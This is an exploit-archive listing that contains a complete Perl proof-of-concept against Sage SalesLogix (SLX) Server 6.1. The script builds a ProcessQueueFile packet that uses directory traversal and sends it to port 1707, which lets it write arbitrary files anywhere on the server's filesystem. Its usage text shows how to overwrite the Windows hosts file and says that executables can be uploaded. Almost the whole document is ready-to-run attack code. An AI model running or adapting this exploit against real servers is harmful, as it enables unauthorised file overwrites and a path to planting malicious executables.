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SLX Server 6.1 Arbitrary File Creation Exploit (PoC)

Author
Carl Livitt
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-8453
Category
remote exploits
Date add
17-10-2004
Platform
unsorted
====================================================
SLX Server 6.1 Arbitrary File Creation Exploit (PoC)
====================================================

#!/usr/bin/perl
#
# Proof of concept exploit: Arbitrary file creation for SLX server 6.1
#
# Written by Carl Livitt, Agenda Security Services, June 2004.
#
# This exploit abuses the ProcessQueueFile command on SLX 6.1 (others?)
servers
# to create arbitrary files on the filesystem of the SLX server. By
using
# directory traversal, it is possible to escape from the Queue directory
and
# write anywhere on the SLX server's filesystem.
#

use IO::Socket;

print "slx_uploader - Uploads arbitrary files to Sage SalesLogix
servers.\n";
print "By Carl Livitt @ Agenda Security Services, June 2004\n\n";

if($#ARGV!=2) {
      print "Syntax: $0 host filename_to_create file_to_upload\n\n";
      print "Example:\n";
      print "  $0 10.0.0.100
\\\\winnt\\\\system32\\\\drivers\\\\etc\\\\hosts evil.txt\n\n";
      print "The above example would upload the local file 'evil.txt'
to the SLX\n";
      print "server on 10.0.0.100, overwriting the existing hosts
file.\n";
      print "It is possible to upload binary files, e.g. executables,
with this exploit.\n\n";

      exit(1);
} else {
      $host=$ARGV[0];
      $create_file=$ARGV[1];
      $upload_file=$ARGV[2];
}

if((stat($upload_file))[7] > 4096) {
      print "[*] Error! Files to be uploaded must be less than 4k in
size.\n\n";
      exit(1);
}

print "[+] Building payload\n";
$contentLen=43 + length($create_file);
$exploit="\x00"x10 . chr($contentLen) . "\x00"x3 .
"ProcessQueueFile\x00" . "..\\"x8 . "$create_file" . "\x00"x6;

open(UPLOAD, '<', $upload_file) || die "Could not open local file
$upload_file\n";

while(($line=<UPLOAD>)) {
      $exploit.=$line;
}

close(UPLOAD);

print "[+] Connecting to server $host:1707\n";
$sock=IO::Socket::INET->new("$host:1707") || do {print "[-] Could not
connect to server\n"; exit(1); };

print "[+] Sending exploit payload\n";
send($sock,$exploit,0);

print "[+] Waiting for response\n";
$sock->recv($data,1024,0);

if($data =~ /Received/) {
      print "[+] Exploit successful\n";
} else {
      print "[*] Exploit may not have worked.\n";
}

$sock->shutdown(2);

 

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